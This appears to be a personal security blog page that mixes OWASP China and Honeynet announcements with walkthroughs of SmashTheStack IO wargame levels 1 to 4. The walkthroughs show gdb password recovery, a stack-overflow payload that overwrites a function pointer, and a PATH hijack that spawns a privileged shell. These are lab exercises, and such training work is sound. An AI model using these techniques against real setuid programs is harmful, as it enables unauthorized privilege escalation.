06.02
Honeynet 刚刚宣布了第四轮的鑑识分析挑战, 而这次更有繁体中文和简体中文支持! 这次主要是测试大家的 对 VOIP 的 鑑识能力. 还不去証明一下自己的能力?
On Hacking Across Boundaries
Honeynet 刚刚宣布了第四轮的鑑识分析挑战, 而这次更有繁体中文和简体中文支持! 这次主要是测试大家的 对 VOIP 的 鑑识能力. 还不去証明一下自己的能力?
这是给尤其在中国的每位网页应用安全研究员的好消息,
OWASP 2010 中国峰会将在 10月 20至23日 在北京举行. 我会在这博客为大家报上更多消息.
Welcome to level 4. In my opinion, this is easier than the previous levels if you have knowledge on how exectuables are being looked for in OS. You have been given both executable and source code again. When we first run the program, the following result is shown.
level4@io:/levels$ ./level4
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4),1029(nosu)
Looks like it is running the command id.
The id command lists the real and effective user IDs and the group IDs of the user associated with the current process. This is the counterpart to the $UID, $EUID, and $GROUPS internal Bash variables. The id command shows the effective IDs only when they differ from the real ones. – From webtools.live2support.com
You can confirm it by looking at its source code. And yes, it does have a statement
system(“id”);
which call the Linux command.
If you are familiar with this command enough, actually it is just a piece of executable which is usually located at /bin/. But why you can run the command by just typing “id“, not “/bin/id“? It is because we have environment variable in our OS. In *nix system, it is PATH, you can use echo $PATH to see what is the current value of it.
level4@io:/levels$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/games
So what we are going to do at this level are:
Why this works because the level4 executable has euid = level5, see definition of euid. If we bring up a shell from this executable, the shell will have level5 permission automatically. Amazing enough?
Actually you can only create code or scripts under /tmp/. We can do the following to create a script their.
level4@io:/levels$ mkdir /tmp/onhacks/
level4@io:/levels$ echo “/bin/sh” > /tmp/onhacks/id
level4@io:/levels$ chmod +x /tmp/onhacks/id
Next step is to change the environment variable by running:
level4@io:/levels$ PATH=/tmp/onhacks:/usr/bin:/bin:/usr/games
Now, you are ready to grant the access next level. Remember to grab the password for level 5. It reminds us to utilitze what you learn, even a little trick can break a big hole. Think creatively and diversely.
See you in level 5.
Note:
Hi all the heroes, you are now level 3 and it is time to fight with a little boss. This is time, the monster that blocking your way requires you to write some code (or script) to finish it. Different from previous two level, this time you can have the executable and source code. As usual, first we execute the program without parameter:
level3@io:~$ /levels/level03
Segmentation fault
Crap! I hate seeing segmentation fault, how about giving it a parameter?
level3@io:~$ /levels/level03 nosegmentationfault
Address of hmm: 0x804847f
The executable gives us a hint that hmm is the key at this level. Let’s attach gdb and see what is inside the program.
(gdb) disass hmm
Dump of assembler code for function hmm:
…
0x080484a8 <hmm+41>: call 0×8048340 <execl@plt>
I guess we are looking at the right place, hmm is a function which execl “something”. By looking at the source code, we can confirm that the function is what we need. The remaining part to grant access is to use stack buffer overflow. How can we achieve it? Go back to the source code, there is an interesting thing.
int (*fptr)(int) = good;
…
(*fptr)((int)hmmptr);
The program is using an unusual way to execute function good, we can take advantage of it to call hmm() by rewriting the value in *fptr. Can we do this? We need to look at how the stack buffer looks like.
As you can see, the variable that is being declared later will have a smaller address. In other words, we can overwrite the values in *fptr by specifying more than 32 bytes to buf. Let’s go back to gdb and see when *fptr is being used to call.
(gdb) disass main
…
0x0804859f <main+240>: mov eax,DWORD PTR [ebp-0x14]
0x080485a2 <main+243>: call eax
…
The function is being called at 0x080485a2. Then how is the buffer looks like at that time?
(gdb) break *0x080485a2
Breakpoint 1 at 0x80485a2
(gdb) run $(perl -e ‘print “B”x40′;)
(gdb) x/20x $esp
0xbfffdcc0: 0x0804847f 0×00000000 0×00000030 0×00000000
0xbfffdcd0: 0×00000000 0×00000000 0xbfffde8d 0x0804847f
0xbfffdce0: 0×41414141 0×41414141 0×41414141 0×41414141
0xbfffdcf0: 0×41414141 0×41414141 0×41414141 0×41414141
0xbfffdd00: 0×41414141 0×42424242 0×00000000 0×00000029
According to the graph above, *fptr is located at 0xbffdd00. From the memory dump above, the first half of the variable is being replaced by 4 “A”. But actually the last 4 bytes in *fptr is already good enough because address are 4 bytes long in 32-bit machines. So what you need is constructing a string with 40 characters long, which fits into variable buf, the last 4 bytes are storing the address of hmm(). Keep in mind that the address is being stored differently in memory (It is Big-Endian).
You can create the parameter like this:
./level3 `perl -e ‘print “B”x36′; printf <Address of hmm() in Big-Endian representation>`
Ready to go to level 4? See you then.
How do you feel about breaking the program in level 1? Do you think that you can be a hacker? Sure you can. What you need is getting familiar with tools (weapons) that you have, and always be evil. gdb is always one of the great tool for investigation. But we usually don’t use it to discover vulnerabilities in a software because usually software has thousands or millions line of code which makes it not very possible that you can find a hole with your eye, no matter you are shortsighted or not.
Anyway, let’s move one to the next stage. After finishing the little thing at level1, we have a bigger thing waiting at level2 (not even a boss yet). When you first execute the program with no parameters, you will have this:
Append the 39th through 42nd numbers in the sequence as a string and feed it to this binary via argv[1]. 1, 2, 3, 5, 8, 13, 21…
The 4th through the 7th numbers would give you 581321
Easy enough? This time, you don’t really need to break the program, you just need to find what it wants and pass it as a string. Obviously, this is a Fibonacci Sequence and in this case, the 45th number (1836311903) is still fit within 231-1. So, you can just write a simple program to generate the sequence then print the 39th through 42nd numbers. Or if you don’t want to write a program, any spreadsheet software should be able to help you calculate the sequence.
Not much I can tell you this time. What you can learn here is, try tackle a problem in different ways, and get familiar with what you have. See you in level 3!
Let’s begin our wargame from SmashTheStack IO level 1. In my opinion, this game is a good practice to get familiar with gdb, the widely used debugger in *nix system. Okay, so first of all, you need a way to ssh to the domain io.smashthestack.org at port 2224 with this credential: level1@level1. This is the entrance point as stated in this page: http://io.smashthestack.org:84/
The level 1 program should be located at /levels/level01. When you first execute this program w/o any parameters, it will provide you its help:
Usage: ./level01 <password>
If you type something like ./level01 password, result could be: Fail.
Let’s attach the gdb and see what is interesting in its main program.
level1@io:/levels$ gdb ./level01
(gdb) disass main
…
0x0804846c <main+120>: call 0x804830c <strncmp@plt>
0×08048471 <main+125>: test %eax,%eax
0×08048473 <main+127>: jne 0x804849f <main+171>
…
0×08048498 <main+164>: call 0x80482ec <execl@plt>
…
0x080484be <main+202>: ret
You will soon discover this line
0x0804846c <main+120>: call 0x804830c <strncmp@plt>
is where we are interested in. Few lines from this statement, there is a execl call, it seems that the strncmp is being used in an if statement. So we can set a break point at 0x0804846c and see what are they comparing.
(gdb) break *0x0804846c
(gdb) run password
(gdb) i r
eax 0x80485c8 134514120
ecx 0xbfffdebd -1073750339
…
If you try to get value at the address stored in each register, you will get the password which leads you to next level, because one of the register is pointing to the expected string that will execute the execl statement, and another one is your input. What you need to do is to run level1 program again with the right input, then you will have access to level2 and you can retrieve the password to login as level2 by looking at /home/level2/.pass.
I am not going to tell you the actual input for level1, you are just a step away from the goal after reading my logs above. Assuming you are new to gdb, what you can learn here are:
I am moving on to next level, how about you?
Hope you enjoy playing this IO wargame.
After disappearing for quite a long time, I am trying to continue writing something which can also prove that I am still alive. Few updates around me.
Yes! I am playing security wargame in SmashTheStack. The main goal is to use the program you can run in the current level to gain access to the advance level, there is always a vulnerability in the programs. It has many different types of games, depending on what vulnerability the programs have, or how you are going to break them. eg. IO, Logic, Blackbox.
I just started playing with the IO games, while all the programs I broke so far is depending on the input you gave. Usually, they have stack buffer overflow or heap buffer overflow issues.
Why I am presenting this post with subject “SmashTheStack series”? Because I would like to present the solutions (or hints) of the levels that I already solved. In the next few months, I will focus on breaking the programs there. Until I have any bright idea on a security topic that I would like to work on or share. BTW, this game is good for you to play with during leisure time.
OWASP 测试指南 V3 中文版 终于公开了!可以在 OWASP 中国主页下载。强力推荐有兴趣于网页安全研究的人去看看这份指南,肯定会有所收获。
OWASP中国研究小组(NEW)
为了更好的促进OWASP中国各区域的沙龙、活动能够持续、稳定的进行,OWASP中国特成立的各区域小组,主要为了促进小范围内的交流和分享。同 时,也非常欢迎大家自荐成为自己所在区域的负责人。OWASP中国项目研究组以目前OWASP的开源项目为基础,深入研究各类应用安全技术,并输出相关中 文资料、培训文档、安全工具等。同时,也会不定期的在各区域的活动上做相关培训。 OWASP中国QQ交流群 78238096
我希望能出一分力提高中国互联网的安全,從 Frank Fan 及 RIP 那邊接手了項目,所以之前十二月就是为了把这个完成,花费了相当多时间。
非常感谢以下的人,尤其 Microsoft 内的大家在圣诞节加班的大力技持!姓氏排名:
希望大家都有所获益!
Hi guys this is Log0, not that I’m dead, but I’m very well alive.
For the whole December and some January, I’ve been working for OWASP China on some projects – thus taking my full attention. And I have been busy on picking up some bits of life and my side project – yes! Working on it! It’s coming in this January!
The 2009 is a fantastic year! I am aiming well for 2010 and will aim to advance fully into my interests. More to that next time… meanwhile, stay tooned. =)
Brief note…
You might have noticed that I used md5 as filenames in the previous (old!) post. In most cases, it is fine.
However, what if the malware depends on a file called hgz.dll? You can calculate hgz.dll as md5, then find the filename out, now put that in the VM again – fine. But you see it is a troublesome process… that you can’t easily automate. There are other cases… of course.
Well, you get the point!